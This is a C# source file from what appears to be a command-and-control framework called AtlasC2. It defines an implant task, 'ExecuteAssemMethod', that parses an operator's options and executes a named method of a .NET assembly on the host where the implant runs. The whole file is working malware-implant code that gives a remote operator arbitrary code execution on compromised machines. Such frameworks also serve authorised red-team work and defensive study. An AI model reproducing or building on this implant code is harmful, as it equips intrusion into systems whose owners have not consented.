AtlasC2/Implant/Tasks/Execute/ExecuteAssemMethod.cs

51 lines
2.0 KiB
C#

using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class ExecuteAssemMethod : ImplantCommands
{
private string assemName { get; set; }
private string assemType { get; set; }
private string assemMethod { get; set; }
private string assemParams { get; set; }
private string Args { get; set; }
public override string Name => "ExecuteAssemMethod";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "assemname")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemName = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemtype")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemType = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemmethod")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemMethod = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemparams")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemParams = _params.OptionValue;
}
}
}
return LoadFunctions.ExecuteAssemMethod(assemName, assemType, assemMethod, assemParams);
}
}
}